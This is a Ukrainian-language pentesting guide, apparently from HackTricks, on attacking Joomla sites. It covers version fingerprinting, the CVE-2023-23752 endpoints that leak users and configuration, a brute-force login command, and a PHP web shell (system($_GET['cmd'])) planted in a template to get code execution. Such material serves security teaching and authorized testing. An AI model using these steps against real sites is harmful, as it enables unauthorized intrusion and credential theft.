113 lines
5.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla
{{#include ../../banners/hacktricks-training.md}}
### Статистика Joomla
Joomla збирає деякі анонімні [статистичні дані використання](https://developer.joomla.org/about/stats.html), такі як розподіл версій Joomla, PHP та бази даних, а також операційних систем серверів, що використовуються в установках Joomla. Ці дані можна запитувати через їхній публічний [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Перерахунок
### Виявлення/Футпринтинг
- Перевірте **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
- robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
- README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Версія
- У **/administrator/manifests/files/joomla.xml** ви можете побачити версію.
- У **/language/en-GB/en-GB.xml** ви можете отримати версію Joomla.
- У **plugins/system/cache/cache.xml** ви можете побачити приблизну версію.
### Автоматичний
```bash
droopescan scan joomla --url http://joomla-site.local/
```
В[ **80,443 - Методологія пентестингу веб є розділом про сканери CMS**](#cms-scanners), які можуть сканувати Joomla.
### Розкриття інформації без аутентифікації API:
Версії з 4.0.0 по 4.2.7 вразливі до розкриття інформації без аутентифікації (CVE-2023-23752), яке виведе облікові дані та іншу інформацію.
- Користувачі: `http://<host>/api/v1/users?public=true`
- Конфігураційний файл: `http://<host>/api/index.php/v1/config/application?public=true`
**Модуль MSF**: `scanner/http/joomla_api_improper_access_checks` або ruby-скрипт: [51334](https://www.exploit-db.com/exploits/51334)
### Брутфорс
Ви можете використовувати цей [скрипт](https://github.com/ajnik/joomla-bruteforce) для спроби брутфорсити вхід.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
Якщо вам вдалося отримати **адміністративні облікові дані**, ви можете **RCE всередині нього**, додавши фрагмент **PHP коду** для отримання **RCE**. Ми можемо зробити це, **налаштувавши** **шаблон**.
1. **Натисніть** на **`Templates`** внизу зліва під `Configuration`, щоб відкрити меню шаблонів.
2. **Натисніть** на назву **шаблону**. Виберемо **`protostar`** під заголовком стовпця `Template`. Це перенесе нас на сторінку **`Templates: Customise`**.
3. Нарешті, ви можете натиснути на сторінку, щоб відкрити **джерело сторінки**. Виберемо сторінку **`error.php`**. Додамо **PHP однолінійник для отримання виконання коду** наступним чином:
1. **`system($_GET['cmd']);`**
4. **Зберегти та закрити**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## Від XSS до RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Скрипт експлуатації Joomla, який **підвищує XSS до RCE або інших критичних вразливостей**. Для отримання додаткової інформації перегляньте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він надає **підтримку для версій Joomla 5.X.X, 4.X.X та 3.X.X, і дозволяє:**
- _**Підвищення привілеїв:**_ Створює користувача в Joomla.
- _**(RCE) Вбудоване редагування шаблонів:**_ Редагує вбудовані шаблони в Joomla.
- _**(Custom) Користувацькі експлойти:**_ Користувацькі експлойти для сторонніх плагінів Joomla.
{{#include ../../banners/hacktricks-training.md}}